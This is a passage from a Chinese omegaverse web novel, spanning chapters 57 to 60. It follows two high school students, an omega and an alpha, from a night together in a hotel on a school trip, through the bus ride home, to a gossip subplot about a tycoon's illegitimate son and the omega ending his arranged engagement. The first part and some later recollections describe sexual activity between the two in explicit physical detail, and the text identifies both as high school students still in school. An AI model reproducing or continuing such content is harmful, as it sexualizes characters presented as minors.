稍微回过神来就看到匙越撑着手,和他隔了几尺距离在俯视着他,在他的额头上亲了一下。 然后是眼皮。 隽云的眼神稍微聚焦,对视上的时候,匙越的眸色更深了一些,喉结滚动,再往下,亲了亲他的唇。 他的唇上也就沾到了他的东西,粘在唇上亮晶晶。 隽云涨红着脸要擦掉,被拽住手。 匙越:“你自己的也嫌弃?” 隽云:“” 最后匙越还是看了一会儿,然后亲自下来帮他舔掉了。 隽云迷蒙着眼睛,红着脸憋出一句:“你是狗吗?” “我是啊。” 匙越笑了一声,从他身上起来,隽云看到他精悍的肌肉上的疤痕,张弛有度的鲨鱼肌随着他的动作而呼吸,他浑身的衣服凌乱地丢在床下,但是匙越的裤子还没脱,他看到非常惊人的鼓包。 “” 他是舒服了,但是他应该很难受吧?隽云迷瞪地想,抬手,想也帮他弄一下却被轻轻打开了。 “别动。” 匙越的声音沙哑性感,带着很浓烈的清欲,听着让人的心也痒痒麻麻的。 匙越却起身离开了片刻,他下床,拉开床头柜,摸索了一阵,再看到他拿过来一个薄薄的包装袋时,隽云一瞬间就错开眼不看他了。 心跳如鼓。 他上过卫生健康知识课,他知道这是什么东西。 “你、你不是要终身标记吗?” 他记得老师说过终身标记不能带套,不然无法让alpha的信息素落在生殖腔里,他拿这个东西干什么? 匙越看了他一眼,重新上床:“今天不终身标记。” 隽云还处在懵的状态,下意识问:“为什么? 匙越沉沉笑一声:“看过怎么终身标记吗?” 隽云好半响没说话,感觉这种时候说不知道显得有点没面子。 不过他确实没看过,他只听文强提起过,但是那时候陆思华面无表情十分冷淡地让文强闭嘴了。 是没看过真人版的小电影,甚至Q版小电影也没有。 但是这种时候说没看过像是显得他不行一样,他不撒谎,于是说的很折中:“卫生课上,老师放过动物的标记过程。” 那个也算。 虽然视频里只截取了一分钟兔子和兔子发情教培的视频。 匙匙意味不明地笑了笑:“行啊,知道是怎么回事就行。” “那你”隽云的声音有点小:“等会儿还要戴吗?” “戴。” “为什么?” 匙越深吸一口气,隽云在这种时候说话是意想不到的直白,他确认他现在应该确实是不清醒的,不然怎么会和他讨论戴不戴套这个问题?而是不说话,软软地闷在被子里任他做什么都可以。 浓郁的信息素毫不设防,亲密地缠绕在他的身上,也让他感到难以抑制地清动,隽云还说可以不用戴,那简直是在瘾诱他犯罪。 他压下来,鼻尖抵着他的鼻尖,确认他的状态,墨黑的眼眸的眼眸倒映出他的身影: “想怀孕吗?” “”隽云的呼吸都停滞了两秒。 脑子终于被这句话激地清醒不少,怀孕 如果真的终身标记了,有99%的概率会受孕。 从来没想过自己挺着大肚子的模样,即便他是omega。 他满脸通红,难以置信地小声说:“谁想怀孕了!?” 还是怀的匙越的孩子。 “也不是不行,如果你想的话。”匙越说这句话显得非常的正经,让隽云大为震撼,觉得他已经疯了。 “我还在读书。”隽云不可置信地看着他。 “确实,你还太小了。”匙越点头,他很快又说:“可能要等你和叶馨言解除婚约之后,不然我一个人在外面抚养孩子也行。” 隽云心说他们高中都还没毕业,未免想的太长远了,有点结巴地看着他说:“你你想的还挺多。” 想象了一下他和叶馨言在几十层的企业上班,在外人看来是恩爱夫妻,而匙越带着他们俩的孩子在东城区起早贪黑给别人缝衣服赚钱。 再看眼前的匙越,他垂着眼,眼睫毛一颤一颤的,一米九的人此刻在他身上有种依偎感。 难以想象他带着孩子东一块西一块钱赚钱买奶粉的样子,而隽云在市中心吃香喝辣的,各色的alpha在他的怀里。 隽云神色复杂,他那样不就是一个负心汉? 看来要早点解除婚约了。 免得匙越胡思乱想。 隽云小脸严肃,匙越演不下去,偏过头忍不住笑了:“骗你的。” “没办法。”毕竟是他们俩的未来,匙越说:“其实你答应当我男朋友的那天晚上,我就在想孩子是跟着你姓还是跟着我姓了。” 隽云顿时起身:“不做了。” 腿还没迈一步就被按着肩膀按了回去,匙越笑着说:“好了,不逗你了,我其实没想过,以后的事以后再说吧,你不想要的话,我也不想要。” 他的视线划过他起伏的鼻梁,落到他的唇上,气声洒在他的脸上:“我只想要你。” 轻柔地吻落下,隽云闭上眼睛,鼻尖红红:“嗯” 刚才的紧张感已经被冲淡许多,隽云放松下来,在匙越指尖顺着他的身体侧线往下滑时,手指而已,隽云觉得他还是能接受的。 下一秒,他听到匙越缓缓说:“其实,这次不能终身标记还有一个原因。” “什么原因?” 匙越另一只手掐住他的腰肢,匙越的手掌宽大,食指的位置刚好抵住腰窝,搂着他的腰,另一只炙热的手抬起他的一条腿,偏头在脚踝上亲了一下,下颌线清晰,涩气意味很浓: “你马上就知道了。” 隽云的呼吸就快了一点。 随着一点冰凉的液体随着包装袋的撕开而溅到他的身上 头顶的灯光太亮堂,开始晃荡,隽云压在被子上被猛地往前一推,他眉毛一拧,眼里蓄着的水顺着眼尾滑落,反手抓住被单,难以抑制地仰头喘气,他抬手,挡住了自己此刻过于迤逦的眉眼。 太亮了, 早知道就不开灯了 * 不知道从几点开始的也不知道到几点结束的, 他确实知道是什么原因了,因为太疼了,不敢想象,如果真的终身标记了,还要进到生殖腔,在生殖腔里成结,到那时他会有多难受多疼。 匙越安抚他给他擦眼泪,也不是他想哭,只是眼泪掉不完一样止也止不住,匙越一他就掉眼泪,最后哭到嗓子哑了眼尾湿红一片 因为隽云的身体下意识紧紧和抗拒排斥,总的来说两个人都并没有多舒爽,只是在某种心理程度上意识到两人互相占据着身体,这一点还是挺爽的,他们都归对方所有,看到了对方情难自已的模样。 泪眼朦胧中,他半阖着眼,看到匙越表情隐忍,额前碎发湿了,往下滴着汗,滴答落在他的身上,滚烫,和他对视上的时候,dick又大了一点 大多数的记忆估计出于大脑的保护机制都忘记了,又或者说中途他有昏迷过去,只是依稀记得弄到了很晚,他出来的时候匙越还没有,他埋在枕头里咬着枕头晃,呜呜咽咽 这种事情实在是太累,隽云体力不行,全程没有动什么力气也像跑了八百米一样地气喘吁吁累的不行,被放开的时候身上涔涔的都是汗,太困了,最后迷迷糊糊睡着了 身体乏累,不知道弄到几点,终于被放开,然后被一双有力的胳膊打横抱起,带去了浴室清理。 清理完之后他已经不省人事,单人床上挤上来另一个人未免有点挤,那人搂抱着他,让他靠在他的怀里睡觉,在他的额头上落下一吻,嗓音沙哑中透着餍足: “睡吧。”—— 作者有话说:明天下午三点更,还会有一点尾气[黄心] 第58章 第五十八章 “是他的omega。”…… 十一月倒也没有多冷, 何况酒店房间有提供暖气,他今晚没有吃药也睡的很好,整个人被抱着暖烘烘的, 实实在在地被抱在怀里睡。 一觉到天亮的时候甚至还觉得觉不够睡。 alpha的信息素没有收着半分地笼罩了他一整晚,在前所未有的安心和被人抱着睡困在怀里的感觉首先不是囚笼, 而是感觉到安心,被他抱在怀里,热度传递热度, 被笼罩着。 “叮叮叮叮叮——” 他是被铃声吵醒的。 房间有两层窗帘, 外面那层遮光的没拉上,因此能看到白色纱布窗帘外的天色, 看上去似乎不早了。 不行 不能睡了。 今天早上还要坐车回学校。 他朦胧地睁眼,又疲倦地眨了眨,动了一下手指, 牵一发而动全身的酸痛感传来。 好累。 好酸。 好痛 身体就像是被大卡车碾压过一样,隽云吐着气,努力让自己的肌肉放松下来。 闹铃被关闭,旁边的热源又重新回到他身边,盖到胸口的被子之下, 光裸而强壮的手臂将他圈住, 往怀里带了带隽云的额头抵在他的胸膛,问他: “几几点了?” 嗓子有点破啰,沙哑而小声,他自己也愣了愣。 “才七点。”匙越抱着他喟叹了一声:“再睡一会儿吧,九点才集合。” “还要换衣服,还要吃早餐。”隽云咕哝着说,眼皮都没睁开。 “等会在车上吃。”匙越说:“你先睡吧, 等会儿八点半我叫你。” “好的” 昨天确实折腾的太晚了,他确实太困了。隽云没有想太多,闭上眼沉沉睡了过去。 匙越醒了之后并不太困,光裸精壮的上半身小心地转身,拿过手机,另一条胳膊一动不动地给隽云枕着,没有把隽云吵醒,他拿到手机后就圈着隽云,抱着他打开手机锁屏看了一下消息。 隽云挨着他睡,呼吸都打在他的身上,匙越只看了看聊天框回了一下明叔的消息,就把手机丢在了床上,他盯着隽云看,心里满足欢兴奋地快要溢出来了。 是他的omega 隽云的睫毛平直,带着微微的卷翘,鼻梁高挺,嘴唇焉红,呼吸非常平稳,看着看着,匙越就又想亲他,试探着靠近,隽云在睡梦中鼻子皱了皱,感受到有东西在叮他,就仰着脸往后躲,匙越拉着他的腰过来,在他的鼻梁痣和侧颈上的痣上亲了一下。 喜欢。 怎么都亲不够 被子之下两个人挨得近,抱着抱着,匙越就有反应了,他轻轻抽气,想把隽云放开,但是又怕把他吵醒,就只能下巴搭在他的头发上,闻着他的味道来缓解,结果越闻越in。 “” 没有套了,控制着呼吸生生忍了半个小时,直到隽云感觉不舒服,梦里总有一个灼热的铁一样坚硬的东西硌着他,他皱了皱眉,往旁边的地方滚了滚,结果不止那里硬,腰上也圈着一圈铁一样的手臂掣肘着他,旁边的东西好热,贴着他。 然后隽云就热醒了,他迷糊地睁眼,心说什么东西啊,还让不让人睡觉了? 匙越笑了笑,被子被拉上来,盖在了他们高挺的鼻梁上,只露出来眼睛,隽云此刻特别毛绒绒,头发是炸的卷翘茂盛,睫毛也茂密,脸蛋在阳光的照耀下有点毛嘟嘟的,透着粉嫩,唇瓣有点肿,匙越侧着脸与他对视,盯着隽云迷蒙困倦半睁的眼睛,突然十分心痒地靠了过去,在被子下隐秘地碰了碰他的唇,隽云的眼睛睁开了一点。 近处是匙越的一张俊脸,隽云好半天才回过神来:“几点了?” 说完,嗓子有点痛。 一些片段闪过他的脑海当中,模糊凌乱的轻喘连同他的呼吸和支离破碎的低吟声,此起彼伏。 “” 两人的身体贴的很近,匙越眼睁睁看着隽云的脸慢慢涨红,他唇角上扬,明知故问地摸了摸他的额头: “怎么突然脸红了,是不是发烧了?” 隽云把上半张脸也埋进被子里,不说话了,只余匙越的闷笑声。 奈何他俩在一个被子里,隽云很快又被他捧着脸出来,然后在他的唇上“啾”了一下。 在隽云没推开他之前,匙越飞快说:“现在才八点,还睡一下吗?” 果然,刚醒来的隽云此刻还处在一种呆愣的懵懂状态,像一只小动物,无法处理太多线程的事情,很快被他的话吸引了注意力,就连匙越此刻在抵着他都没发现,听到匙越的话之后回话: “不睡了。” 他身上穿着的衣服是匙越抱着他去厕所清理过后给他穿上的,那时候他近乎处于一种无意识的状态,被放平在床上,被人摆弄着,拿衣服给他套头,拉平衣角,又套上裤子,然后盖上被子,被人抱在怀里睡觉。 这种有人贴身陪伴的感觉让隽云一晚上都没做什么梦,睡的还不错,当然也不排除是因为太累的原因所以一觉到天亮了。 隽云对真空状态有点敏感,他以前都是会穿着内裤和睡衣睡裤睡觉的,缓过劲来清醒过来了才发现,他好像,没有穿内裤 “你”隽云呆滞一瞬,又摸了一下布料,真的只有一层裤子的布料。 确认他真的没有穿内裤。 隽云的脸顿时红了:“我我内裤呢?” 说完又有一段零散记忆复苏了,在脑海中闪过。 那时候弄完了,浑身像散架一样地趴在被子里,整个人通红一片,软绵绵毫无力气,侧脸埋在柔软的被子里,睁眼的时候,看到匙越捡起他的内裤,在擦拭 “脏了。” “”隽云。 算了。 隽云咬了一下唇。反正这是在他的房间,他还有干净的内裤,到时候再换就是了。 脸上的热度高举不下,不知道是不是alpha的脸皮要比omega要厚一点,他觉得脑袋都冒热气地转不动了,但是匙越却还非常自如,上半身衣服没穿,大半个身体贴着他把他搂在怀里,如果不是昨天的技术太差,他甚至都要怀疑他是不是第一次了。 “还有”那股热度还带着一跳一跳地抵着他,隽云终于反应过来那是什么。 他双唇微张,气若游丝地说:“匙越你能不能不要再蹭我了。” 他往后躲了躲,却被拉近,匙越翻身在他身上,隽云顿时非常紧张,抬起酸软的手抵住他,另一只手牢牢护住自己的裤子,坚决拒绝: “不行!不要!” “走开,我真的很累了” 隽云废了九牛二虎之力把他推开,然后揉了揉自己的头发,十分困倦地支着胳膊起身,他越过匙越,几乎是手脚并用地爬过他下床,在脚一沾到地面的时候腰一软,差点掉在地上,幸好及时扶住了床沿。 腿传来一种细细密密针扎似地感觉,隽云忍不住“嘶”了一声。 转头看匙越,神清气爽,完全和他是两个摸样,匙越赶紧下床来扶他,十分紧张地问他:“没事吧?” 对于这个罪魁祸手,隽云对他没有好脸色看,甩开他的手臂,红着脸哼哼唧唧:“走开。” 匙越笑了笑,凑过来圈着他的腰委屈地低着头说:“我错了。” “”又来。 隽云无话可说。 碍于房间里的气味一个晚上了都没消散,实在是不怎么健康的气味,甚至地上七零八碎地扔着东西,看着就是在是那什么现场。 隽云瞥到什么,突然想起一个问题,指了一下地上用过的包装袋,结巴了一下: “你那个你是什么时候拿过来的?” 他记得刚开始到床上的时候两个人都很纯洁的,匙越圈着他,他们俩就是纯在聊天,想着今晚能抱着人睡觉,他还挺放松的。 没想到后来是抱着人了,只是浑身都软掉了,化成一滩水控制不住地掉眼泪,在床上被人揉吧揉吧拉到怀里亲眼角吻掉眼泪地安抚。 该不会是早有预谋吧?隽云开始怀疑,很有可能! 毕竟这根本不是一个老实的alpha! 简直是亲亲怪。 隽云听到他短促地笑了一声:“拜托,这里是酒店,每间房都有。” “刚住的第一天就发现了。”匙越嘴角扬起,提醒他:“我是alpha啊。” 在某些时候,alpha比omega重欲多了,也更关心这一方面。 隽云:“” 隽云心想,他就不该提起这个话题。 在匙越灼热的注视下,他一瘸一拐地在衣柜间拿了个崭新的蓝色小黄鸭卡通内裤,遮遮掩掩的,然后又捡了几件稍微厚点的衣服,再次婉拒了匙越提出的帮他穿衣服的提议,关上了浴室门。 等再出来的时候隽云浑身穿戴整齐,只是走路还有点艰涩,他走了几步缓解不适感后,门开了,转头去看是匙越从餐厅里带了早餐过来。 匙越相比起他的磨磨蹭蹭动作要快多了,不仅回自己的房间换好了衣服,去餐厅里吃了早点买了隽云那份的面包牛奶,还带上了他的行李箱,一同带来了他的房间里吗,看上去精力十足。 见他出来了,匙越把早餐递给他。 找个学生代表当男朋友还是挺好的,不用看班群都能知道什么时候发车回学校。隽云面无表情地心想。 “还有二十分钟集合,你先吃早餐,我帮你收拾东西。” 于是隽云站在桌子边小口小口地喝牛奶,嘴边浮上一丝奶沫,他瞥了眼匙越,匙越恰好收回视线,打开他的箱子,开始叠衣服放进去。 吃完早餐后把垃圾丢到垃圾桶里,两个箱子都先由匙越搬到了楼下,隽云戴上口罩,手里拿着耳机线和手机,衣领拉到最顶上。 就这么慢慢悠悠地开始挪动着脚步下楼。 中途碰到打哈切十分困倦的文强,他的手拍上隽云的肩膀,在隽云转过脸来的时候差点掉到地上,他大惊:“隽云你昨晚干什么去了?” 隽云没吭声,他顶着一层淡淡的黑眼圈,目光不是很有神地看着他,看的出来不是很有精神。 他带着黑色的口罩衬得他的皮肤既白又柔软,碎发遮盖到眉毛,冲锋衣校服外套里面是一件黑色的卫衣,手指缩在袖子里,整个人散发着一种过度慵懒,懒洋洋的感觉。 隽云摇了摇头,嗓子还有点痛,他不想说话。 第59章 第五十九章 “你是我男朋友。” 大巴已经在接驳点等他们了, 隽云一身轻,什么都不拎地和文强走在一起。 文强问他:“小云云,你的行李呢?” 隽云指了指远处的大巴, 那里匙越正搬着两个箱子轮流放到后备箱里面。 文强没看到他指的是匙越,顺着手指的方向只看到了几辆大巴排成排在不远处, 文强就顿时恍然大悟: “你这么早就把行李搬到大巴上了啊!起这么早?难怪看起来这么困。” 隽云:“” 从酒店到大巴走了几分钟,上大巴的时候不是很舒服。 大巴的楼梯台阶有点大,隽云迈第一步的时候就觉得有点不太对了, 大腿腿根有些发颤, 吸着气让自己放松,拽住旁边的扶手使了点劲就要上去, 就在这时恰好上面伸了一只手下来,要扶他。 隽云抬头看去,是匙越。 他毫不客气地把手搭在他的手心上, 然后借着他的力上了几层台阶,站稳之后连谢谢也不说,擦过他的肩膀径直往后走去了。 文强跟在后面,也把手伸过去要匙越拉他一把,被匙越打开了。 文强:“???” 陆思华坐在第一排, 因为宿醉有些头痛, 他看到隽云上车对匙越态度冷淡,在隽云经过的时候拉住他的手,问他: “坐我旁边吗?” 隽云也没理他,一把甩开了,沿着走道一路往面走,他看到自己的书包被放到了最后一排靠窗的位置,应该是匙越给他占的座。 文强跟在他后面上来了, 指着他的书包说:“诶?隽云,那不是你的书包吗?” 隽云淡淡地“嗯”了一声,然后在前面一排挑了个位置坐下了,文强也顺势坐在他的旁边,他瘫在椅子上,嗓子有点嘶哑: “早知道,昨天晚上我就不唱一晚上的歌了,现在润喉糖都救不了我了,晚上回去我爸妈肯定知道我鬼混了一整晚。” “”从始至终没说过话的隽云。 文强昨天晚上回去的也晚,但是他光顾着唱歌了没喝什么酒,还记得昨天隽云气势汹汹地拉着匙越走的画面,纳闷问: “你俩昨天干嘛去了?散场了都没等到你们回来。” 隽云冷酷着脸,拿出手机打字,手机怼在他的面前给他看:没干什么,困了就回去睡了。 “怎么打字给我看?”文强惊诧:“小云云你嗓子怎么了?” 他自顾自地说:“难道是你昨天说话说太多了?” 隽云哽了一下,慢吞吞打字:嗯。 “好吧。”文强想了想,但是昨天好像没看到他和谁畅聊的那么high啊,现在话都说不出来了。 周围闹哄哄的,隽云有点累,他靠在椅背上合上眼皮打算睡一会儿。 车子发动了,文强伸了个懒腰,左顾右看:“不对,不对柳圆圆呢?他怎么没有上车啊?” 语气里还带着一丝幸灾乐祸的八卦:“听说他昨天被人扇了一巴掌。” 隽云的眼睛睁开一丝缝隙,嘴角扯了扯。 那真是恭喜他。 毕竟柳元誉这人说话实在是嘴毒,又屡次三番骚扰别人,居然到现在才被打,隽云觉得他还是挺走运的了。 车里太吵了,隽云拿出耳机戴上,准备睡觉,旁边的文强已经起身到处去问了: “怎么样啊?他该不会心灰意冷,不打算回星耀留在这里当兵了?班长,班长,柳圆圆都没上车啊。” “失个恋去当兵?不至于吧?”前面一个人回他。 另一个人说:“听说他去后面那辆车了,只是没跟我们坐一辆而已。” 文强:“这也行?那辆车上有谁啊?” 那人耸耸肩:“还能有谁。” 车从山里驶出,路上颠簸,好几次激烈的摇摇晃晃把隽云颠醒,他睡的不是很踏实,偶尔能模糊听到说话的声音还有人外放电影。 当大巴经过一个缓冲带的时候,他又被颠簸醒了。 不知道什么时候旁边的人从文强换成了匙越,匙越正戴着耳机,一边回消息一边在切屏幕看视频。 “” 什么时候来的。 察觉到隽云似乎不舒服地动了动,匙越一只手拿着手机,一只手撩开他的额发摸了摸他的额头,发现没发烧后就收了回去。 问他:“要不要喝水?” 隽云还懵着,看了他好一会儿才缓过神来,然后缓缓点了点头,匙越就从包里拿出一瓶水,拧开瓶盖递给他。 隽云取下一边口罩,口罩挂在另一边耳朵上在脸侧晃了晃,然后他面带疲倦地,在匙越的注视下,喝了几口递过来的水,唇瓣湿润。 匙越问他:“腰酸不酸?” 隽云的全身都很酸痛,面对匙越的殷勤,又没什么情绪地点了点头。 酸。 全身尤其是某个隐秘的地方一动就有点痛。 还很困,整个人非常的疲累,这件事情比他想象的要累多了,比他尝试过的任何一项运动都累。 他不会再在发情期没来的时候跟他做了隽云面无表情地心想,不对,没有下一次了,发情期来了也不做。 前后的人都在玩手机,匙越的手臂绕过他的腰,把他圈在怀里,手往他腰侧伸,捏着的腰,隐蔽地给他按了按穴位。 给他按摩了一下,酸爽感传来,隽云拧着的眉一下就松了:“你还会这个?” “刚学的。” 匙越拿起手机冲他晃了晃,隽云瞥到视频标题写着:《好Alpha必知——事后如何调理omega的身体?》 匙越的手机屏幕不是防窥的,那个明晃晃的标题差点让隽云呛到自己的口水,整张脸都红透了。 “你” 匙越却还有闲心地摸他的额头,眉间露出一抹担忧:“怎么脸又红了,真的没有发烧吗?” 隽云:“” 他又说:“我昨天尽量都弄出去了。” 而且他昨天只来了一次。 担心前后排的人听到,隽云闭了闭眼,狠狠挤出两个字来:“闭、嘴。” 知道他容易害羞,匙越就笑了,揉了揉他的头发:“睡吧。” 昨天的套小了,而且隽云小声喊疼,他都没有完全进去,只进了一半让他适应,就这样隽云都苦巴着脸闷在被子里啜泣,并且坚决不肯转过来看他。就这样还想终身标记,光是进入都够他受的了。 弄到很晚,虽然没有吃饱,但是看着隽云白皙光滑的皮肤上汗涔涔地在灯光下反光,额头抵着被子,最后因为时间太久受不了,转过来半阖着眼筋疲力尽地朝他投来一瞥,他就了,然后抱他去洗澡。 虽然没有吃饱,但不妨碍他很爽。 匙越圈着他的腰抵着穴位一下一下地给他按摩,看着隽云的眉目逐渐舒爽,他就一直给他按着。 大巴车摇摇晃晃,隽云迷迷糊糊要睡着了,忍不住头一点一点的,最终被匙越护着头,放到了他的肩膀上睡觉。 匙越拉着他的手,盯着看了一会儿他白净纤细不沾染尘埃的手指,五指挤进去与他十指交错。 而隽云就这么毫无所察地睡了一路。 等到中午放饭的时候,大巴车在路边停下,整车车厢又活跃起来,班长招呼大家需要上厕所的下车上厕所,以及拿餐盒吃饭。 隽云是在一阵香气中清醒过来的,他肚子也有点饿了,转头看过去的时候,看到的是匙越的侧脸,下颌线清晰,眉眼专注地在挑着饭盒里的葱。 看了一会儿他挑葱,挑都非常细致,隽云就问:“你你不吃葱吗?” 他的嗓子还是有点沙哑。 “给你的。” “哦” 饭盒是三菜一饭,还有一碗汤,菜是番茄炒蛋、木耳炒笋片、一个红烧鸡腿,汤放在椅子扶手上,透过透明的壳子看到里面是肉沫冬瓜汤,上面飘着很多葱花。 汤他是不打算喝了,因为能看到油,而且里面的葱花太多了,葱味会很葱郁,挑出来葱他也不喝。 但是盒饭的里面葱只是点缀,把葱挑出来倒是还能吃吃,不吃就只能饿肚子了——虽然如果匙越不在的话他是懒得挑的,直接不吃。 于是隽云就这么看着匙越给他挑碗里的葱花,顺便把辣椒和蒜瓣也挑出来了,才把盒饭递给他。 隽云接了,小口小口地吃起来,匙越把矿泉水拧了瓶盖放他手边,又摸了一下他的额头看看有没有发烧。 温度还算正常。 匙越拨了拨他的头发,弯腰把脚边的饭盒拿上来,打开盒子,也开始吃自己的饭了。 * 回学校之后,两个人相处的时间锐减,这让匙越每次要和他分开的时候都表现的很依依不舍。 一放学就要回家,只有白天课间的时候有时间见见,贴一下。 虽然和之前也差不多,不过比起去游学前要亲密多了,依旧是地下情的关系,但是又不太和以前一样。 隽云主动了很多。 具体表现在不只是他给隽云发消息要见面,隽云也会偶尔给他发消息,让他出来。 不过这种情况很少,通常是看到有人给匙越带零食,给匙越递情书的时候,他的消息没过多久就会发过去,让他滚去天台等他。 然后匙越就会心情很好地插着兜走出教室,上楼梯,去天台等他,期待私会。 抱着抱着就被匙越抬着下巴亲,结束之后匙越总是埋在隽云的颈窝里,闻闻他的味道,发丝触碰到他的脸颊,哑着声音委屈地问他: “我们是什么关系?” 隽云气还没喘匀的就要哄他,好半天憋出来他想听的:“你是我的男朋友” 匙越就呼吸重了一点,把他抱的更紧了—— 作者有话说:前一章没想到通过了[捂脸笑哭]再修改错别字病句的话全章会再次进入审核,重审一次说不定就会红锁[爆哭]所以上一章我就不动它,不修文了[求你了]有写的不好的地方大家见谅[求你了][求你了] 评论区发黏黏的小红包[撒花][撒花] 第60章 第六十章 “私生子?” 隽云就开始胡乱地猜想, 匙越总是要从他口中确认他们的关系,是不是因为匙越没有安全感,害怕被他抛弃? 毕竟两人的家境实在差距太大, 而且他还有未婚妻 于是他就会很愧疚地拍拍他的背,笨拙地安抚他说:“等找个合适的时间, 我会和我爸妈提取消联姻的事的。” 匙越嘴角上扬,在他的颈窝里闷声说:“好。” 只是隽云有点苦恼,最近他爸妈都没回家, 没法当面提, 而且自从上次匙越当着叶馨言的面牵他的手后,叶馨言就减少了缠着他的频率, 应该是已经知道他们已经在一起了。 叶馨言不来找他,就没办法和她商量着提解除联姻的事情,只能他自己找过去了。 * 周一。 “啪。”文强猛地把一张报纸砸在隽云的桌面上。 隽云彼时在看书, 一张报纸从天而降,遮住了他的书,他看过去,就看到封面的正中间,夸张地用黑色加粗的字占据板面中心: “荣华集团老总私会私生子!” 劲爆中间还有一道雷劈开, 底下的小字写着:疑似私生子是高中生!就读于星耀中学! 甚至还有照片, 在一个酒店门口,一个年纪大略微有些啤酒肚的中年男人拍了拍一个男生的肩膀,对他笑着说话,身后还停着一辆私家车,照片拍的很清楚,连男人笑起来眼尾的褶皱都拍到了,确实就是闵荣无疑了。 而那个男生背着身体, 脸看不真切,他穿着星耀中学的冬季棉校服,校服衣摆到大腿的位置,高个儿,相比起闵荣的模样,看起来清爽许多,校服棉衣穿着像是一件贵牌大衣。 背影有些眼熟。 报纸的内容大概是在说,狗仔意外拍到荣华集团董事长在麦嘉莉大酒店与一年轻高中生同进,举止亲密,话语叮嘱恳切,笑脸盈盈,疑似私会对象是其私生子。 文强夸张的语气和动作吸引了不少周围的人来观看,众人议论纷纷: “这是学弟吧?好像没见过。” “没想到闵家还藏着这手。” “不过这也太大摇大摆了吧?该不会是故意被文强家的狗仔拍到的吧。” “很难说,可能是,毕竟这种事情私密性做的很好的,被人拍到难道说是早有预谋?” 柳元誉嗤笑了一声:“无风不起浪。” 文强挠着头:“可能很快要召开记者招待会,认回这个私生子了。” 陆思华淡淡道:“私生子而已。” 他扫了一眼隽云,似乎意有所指道:“比起正室,私生子,终究是上不得台面的。” 隽云瞥了眼挨着教室另一端墙面坐着的闵术,他戴着耳机低着头玩手机,似乎没听到他们的议论一样。 “很快,我们就能收到闵家的宴会邀约了,届时,将公开这位私生子的身份,我们拭目以待。” * 没过几天,闵家果然借着这次机会邀约各路名流齐聚他家,要正式介绍这位流落在外认回来的儿子,据说还是个alpha,不少名流人士都受邀前往。 不过不知道是不是为了下隽家的面子,竟然没有邀请隽家的人。 闵家谢绝媒体拍照,甚至没有流出来一张宴会上的照片,让外界对这位认回来的孩子有了众说纷纭的猜测。 宴会结束后的第二天,隽云依旧照旧来到班里,还没进班就恰好看到换手表的人站在一班门口等他。 那人看着他古怪地说:“还真是恭喜你了。” 隽云不知道他在说什么,取下监控手表递给他,然后径直进了班里。 班里气氛诡异,不少人都在交头接耳,偷偷往后打量,隽云感到奇怪,怎么这么多人都在往后看? 顺着众人的视线看过去,那是匙越的位置。 他看到匙越手里捏着最便宜的黑色签字笔正在写字,长腿曲着,踩着前面的横栏,膝盖顶着铁抽屉,困在桌椅之间有点拥挤的样子。 教室后门大开,冷空气吹入,他身上的校服拉链大刺啦啦地没拉上,里面是一件单薄的卫衣,他懒懒地靠在椅背上,伸着手写字,手腕都露出来了,虽然看上去很帅。 但是不冷吗?隽云疑惑地想。 一种家境贫寒四处漏风但是还努力学习的心酸感。 家境不好,学习很不容易吧。 隽云收回视线,心里想着的是,下次还是给他买个手套吧。 很快就上课了。 下课的时候文强一脸的欲言又止,说是有个重磅消息要和他说,但是隽云有事,他说下次吧。 他出了教室门,准备去二班找叶馨言。 回来的这几天,他连着好几天都去二班找她,但是都没有找到,据他们班里人说她最近一下课就出去了。 大概是在躲着他。隽云心想。 上次去游学的时候,匙越当着她和陆思华的面牵他的手,太明显了,明晃晃地宣誓主权一样,告诉叶馨言和陆思华他们在一起了。 果然从那天起,叶馨言就没再出现在他面前。 终于在马术课下课后在羽毛球场找到了她。 那时候她在和李恩惠打羽毛球,隽云出现,叫住她:“叶馨言。” 叶馨言就一下慌了,羽毛球掉在地上没接到,李恩惠气的一跺脚,结果转身就看到了隽云。 隽云脸色冷淡地走过去,站在她的面前:“现在能和我聊一下了吗?” 叶馨言脸上的神色不自然,她把拍子丢给李恩惠,不自然地挤出来一抹难看的笑容来:“当然可以了,隽云,你难得来找我一次。” 隽云转身:“跟我来吧。” 他第一次带人来捐款石壁后面,那里隔绝了监控和来往探究的视线,刚一站定,隽云就通知她: “我们取消婚约吧。” 叶馨言脸色顿时白了:“我就知道,你果然要说这个” 她颤着唇说:“我不同意,我不同意!” 隽云早就心知肚明她不会同意,从隽家和叶家订婚起,叶馨言就一直借着和隽家的联姻在学校耀武扬威,从联姻里获得的荣耀,各种实打实的好处谁会放弃呢? 她不愿意取消联姻,不然就不会游学结束之后回星耀,这么多天都在躲着他了。 她觉得,隽云找不到她,就没有办法提出解除联姻的事。 只是逃避的了一时逃避不了一世,隽云看着她说:“抱歉,我没办法和你结婚。” “是因为匙越吗?”叶馨言突然问。 隽云没什么表情,他不觉得有多么愧疚,如果说可能有一丝毫的愧疚和可怜早在那时候查出她对他下药的时候就烟消云散了。 “我和你不是一路人,我不喜欢你,一直以来都是。”隽云看着她说。 “本以为你也是被迫的,但是你竟然给我下药我不知道这是你家的指使还是你的本意,不过那都不重要了。”隽云说:“我们取消联姻,爸妈那边我会去说。” 叶馨言:“我不同意!” 她略微有些慌乱,抓住隽云的袖子:“上次的事情不是已经过去了吗?我们家也在项目上让利你们作为补偿了,为什么还抓着这件事不放?隽云,我喜欢你,我从高一起就” 话还没说完隽云就猛地抽回手把她推开:“别碰我。” 叶馨言尖叫一声:“是不是匙越!?是不是他!你因为匙越要跟我取消联姻,你信不信我把你们的事情全部都抖出来!” “他一个社会招考生哦,就算他现在不是社会招考生了,但是他到底哪点能和我比了?就算你能和我解除联姻,你觉得隽叔叔元伯母能接受的了他吗,你们是不可能的。” 隽云看着她,不明白她在说什么,匙越是社会招考生,怎么现在就不是了? 叶馨言不同意,但是听她说完这些话,他反倒更加头脑清醒,从来没有一刻这么清晰地感受到自己正在脱离命定的轨道。 “就算他们不同意,我也会和你解除联姻,这是两回事。”他告诉她:“我不会和不喜欢的人联姻。” 只有他自己知道,看似说出来的话还算平静,实际上他的手在微微发抖,在此之前联姻这件事他从来没有抗争过。 只有真正说出来才算挣脱了束缚。 那些像铁丝网一样缠绕在他身上的东西被撕开了口子,不得自由,被困在原地,那些困惑不解,沉默忍让,困住他让他无法挣扎前进的东西,此刻终于撕开了一个小口,哪怕第一步而已,却足以让他大口呼吸自由的新鲜空气。 “就算你不同意,我也一定会取消婚约。”隽云说:“所以,在那之前,你最好还是主动提出来,我给你机会。” 